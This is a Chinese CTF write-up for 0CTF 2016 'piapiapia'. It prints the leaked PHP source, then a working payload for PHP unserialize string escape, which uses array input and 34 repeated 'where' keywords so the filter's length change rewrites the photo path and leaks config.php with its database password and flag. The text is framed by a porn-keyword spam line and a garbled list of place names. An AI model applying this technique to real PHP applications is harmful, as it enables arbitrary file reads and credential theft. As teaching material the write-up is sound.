最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

php反序列化長(zhǎng)度變化尾部字符串逃逸(0CTF-2016-piapiapia)

 更新時(shí)間:2020年02月15日 15:26:36   作者:Sea_Sand息禪  
這篇文章主要介紹了0CTF-2016-piapiapia(php反序列化長(zhǎng)度變化尾部字符串逃逸),本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

一個(gè)很可愛(ài)的登錄界面:

在這里插入圖片描述

進(jìn)行一下目錄掃描,發(fā)現(xiàn)源碼泄露www.zip,把源碼給出:

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

在輸入賬號(hào)密碼之后進(jìn)入了profile.php,下面是profile.php的源碼:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

還有注冊(cè)頁(yè)面的源碼(沒(méi)有太大用),register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

然后是update.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

核心的處理代碼,class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看來(lái)flag就是在config.php中了,要想辦法拿到config.php的內(nèi)容了。

然后就是代碼審計(jì)了。

seay代碼審計(jì)系統(tǒng)也可以給點(diǎn)線(xiàn)索的:

在這里插入圖片描述

這個(gè)地方貌似有個(gè)文件讀取的地方,在profile.php中:

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面還有個(gè)反序列化unserialize,感覺(jué)有戲,如果$profile[‘photo']是config.php就可以讀取到了,可以對(duì)photo進(jìn)行操作的地方在update.php,有phone、email、nickname和photo這幾個(gè)。

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

結(jié)果如下:

Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload這一部分就沒(méi)了,下面就是想辦法把config.php塞進(jìn)去了。

從數(shù)組順序上看是和上面數(shù)組的順序一樣的,可以抓個(gè)包看下post順序,那么最有可能的就是從nickname下手了。

在設(shè)置了$profile之后,用update_profile()函數(shù)進(jìn)行處理:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

進(jìn)行了過(guò)濾:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

有兩個(gè)正則過(guò)濾,帶上輸入nickname時(shí)候有一個(gè)正則,總共三個(gè)過(guò)濾的地方,首先要繞過(guò)第一個(gè)輸入時(shí)候的正則:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
數(shù)組即可繞過(guò):
nickname[]=

那么$profile就是這樣了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正則要怎么利用呢,可以看到如果我們輸入的有where,會(huì)替換成hacker,這樣的話(huà)長(zhǎng)度就變了,序列化后的每個(gè)變量都是有長(zhǎng)度的,那么反序列化會(huì)怎么處理呢?我們應(yīng)該怎么構(gòu)造呢?

數(shù)組繞過(guò)了第一個(gè)正則過(guò)濾之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34個(gè)字符,如果利用正則替換34個(gè)where,不就可以把這34個(gè)給擠出去,后面的upload因?yàn)樾蛄谢晃覀冮]合了也就沒(méi)用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正則匹配換成hacker之后,正好滿(mǎn)足長(zhǎng)度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的時(shí)候就會(huì)被當(dāng)成photo,就可以讀取到config.php的內(nèi)容了。

下面開(kāi)始操作:注冊(cè)之后登陸,進(jìn)入到update.php頁(yè)面,輸入信息及上傳圖片,用bp抓包把nickname改成數(shù)組即可: 在這里插入圖片描述

然后進(jìn)入到profile中查看圖片信息,把base64碼解碼:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解碼得到:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

總結(jié)

以上所述是小編給大家介紹的php反序列化長(zhǎng)度變化尾部字符串逃逸(0CTF-2016-piapiapia),希望對(duì)大家有所幫助!

相關(guān)文章

  • phpize的深入理解

    phpize的深入理解

    本篇文章是對(duì)phpize的使用進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-06-06
  • 一個(gè)可以找出源代碼中所有中文的工具

    一個(gè)可以找出源代碼中所有中文的工具

    一個(gè)可以找出源代碼中所有中文的工具...
    2006-10-10
  • PhpStorm 2020.3:新增開(kāi)箱即用的PHP 8屬性(推薦)

    PhpStorm 2020.3:新增開(kāi)箱即用的PHP 8屬性(推薦)

    這篇文章主要介紹了PhpStorm 2020.3:新增開(kāi)箱即用的PHP 8屬性的相關(guān)資料,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-10-10
  • thinkPHP中鉤子的兩種配置調(diào)用方法詳解

    thinkPHP中鉤子的兩種配置調(diào)用方法詳解

    這篇文章主要介紹了thinkPHP中鉤子的兩種配置調(diào)用方法,結(jié)合實(shí)例形式詳細(xì)分析了thinkPHP中鉤子的功能、配置、調(diào)用方法與使用相關(guān)注意事項(xiàng),需要的朋友可以參考下
    2016-11-11
  • PHP利用百度ai實(shí)現(xiàn)文本和圖片審核

    PHP利用百度ai實(shí)現(xiàn)文本和圖片審核

    這篇文章主要介紹了PHP利用百度ai實(shí)現(xiàn)文本和圖片審核,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-05-05
  • PHP 爬取網(wǎng)頁(yè)的主要方法

    PHP 爬取網(wǎng)頁(yè)的主要方法

    這篇文章主要介紹了PHP 爬取網(wǎng)頁(yè)的主要方法,主要是獲取整個(gè)網(wǎng)頁(yè),然后正則匹配,需要的朋友可以參考下
    2018-07-07
  • smarty中js的調(diào)用方法示例

    smarty中js的調(diào)用方法示例

    這篇文章主要介紹了smarty中js的調(diào)用方法示例,是smarty模板設(shè)計(jì)中經(jīng)常會(huì)遇到的問(wèn)題,非常實(shí)用,需要的朋友可以參考下
    2014-10-10
  • Laravel5.1 框架Request請(qǐng)求操作常見(jiàn)用法實(shí)例分析

    Laravel5.1 框架Request請(qǐng)求操作常見(jiàn)用法實(shí)例分析

    這篇文章主要介紹了Laravel5.1 框架Request請(qǐng)求操作常見(jiàn)用法,結(jié)合實(shí)例形式分析了Laravel5.1 框架Request請(qǐng)求操作常見(jiàn)的屬性和方法,及相關(guān)操作注意事項(xiàng),需要的朋友可以參考下
    2020-01-01
  • YII框架常用技巧總結(jié)

    YII框架常用技巧總結(jié)

    這篇文章主要介紹了YII框架常用技巧,結(jié)合實(shí)例形式總結(jié)分析了Yii框架控制器、查詢(xún)、表單驗(yàn)證、SQL查詢(xún)等常用操作技巧與相關(guān)注意事項(xiàng),需要的朋友可以參考下
    2019-04-04
  • 圖文詳解laravel多對(duì)多關(guān)聯(lián)模型

    圖文詳解laravel多對(duì)多關(guān)聯(lián)模型

    多對(duì)多就相當(dāng)于一個(gè)專(zhuān)題Topic有多個(gè)文章,但是這多個(gè)文章又屬于多個(gè)專(zhuān)題,下面這篇文章主要給大家介紹了關(guān)于laravel多對(duì)多關(guān)聯(lián)模型的相關(guān)資料,需要的朋友可以參考下
    2021-08-08

最新評(píng)論

平顺县| 湖南省| 芷江| 阿荣旗| 禄劝| 汉源县| 上栗县| 垣曲县| 枞阳县| 宁陕县| 曲靖市| 元江| 巴东县| 黔南| 涿鹿县| 黑山县| 阜城县| 政和县| 铜川市| 内丘县| 雅安市| 奉节县| 蓬安县| 北碚区| 田林县| 耒阳市| 弥勒县| 永川市| 建阳市| 郓城县| 宁晋县| 志丹县| 常德市| 宁津县| 安吉县| 仪征市| SHOW| 九龙县| 灌云县| 绍兴县| 安康市|